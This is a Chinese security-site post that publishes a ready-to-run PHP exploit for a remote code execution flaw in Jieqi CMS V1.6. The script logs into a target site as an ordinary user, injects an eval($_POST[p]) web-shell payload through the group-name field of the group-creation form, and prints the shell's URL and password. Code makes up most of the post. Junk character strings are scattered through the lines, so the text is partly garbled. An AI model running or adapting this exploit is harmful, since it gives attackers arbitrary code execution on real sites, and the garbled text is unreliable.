Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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2 E  U4 K7 k1 p+ H% |5 j, _/ @! B4 k该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
3 W, f1 |. ~! r$ U. d 需要有一个能创建圈子的用户。

% H! T0 y2 _/ r( K3 J9 p/ a<?php

6 l2 h. a5 m6 \print_r('
+---------------------------------------------------------------------------+
8 Z! m) Z1 d, m9 u' EJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
( @5 b( v5 @  d& jteam: http://www.wolvez.org
4 Q$ l2 \: J& b- e( W9 r8 \+---------------------------------------------------------------------------+
& ^% Z* \1 I  M: G' O9 ]'); /**
6 K' v9 n  Y7 E4 s0 [ * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
5 a1 c' r5 l) ]4 i. |Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
. N, j0 E8 A* [, [path:      path to jieqicms
; `' D4 d: u) Vuasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
  m' U; ]6 y2 H3 G. R+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
& m! U* n0 i  K5 aContent-Disposition: form-data; name="gname"
+ K% [" q; h" x5 V, M/ U
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
! F3 ^4 u5 P' L3 n  W' _/ Y-----------------------------23281168279961
8 H0 u! c# E) lContent-Disposition: form-data; name="gcatid"
/ z: O6 y. m+ s# E8 W& \4 b
1
-----------------------------23281168279961
6 K0 y4 z% X! Q& e6 [, J1 j! LContent-Disposition: form-data; name="gaudit"
8 w% z. o; X1 Q, N7 B* ^
1
-----------------------------23281168279961
+ o0 Z1 e7 o$ E+ z' J2 I7 W  QContent-Disposition: form-data; name="gbrief"

/ y! U( q9 @! K6 S) I* P1
8 p+ A, ^" s/ z$ S2 a-----------------------------23281168279961--
* Z" d7 w7 s- \4 u% Z7 e: t& ?'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;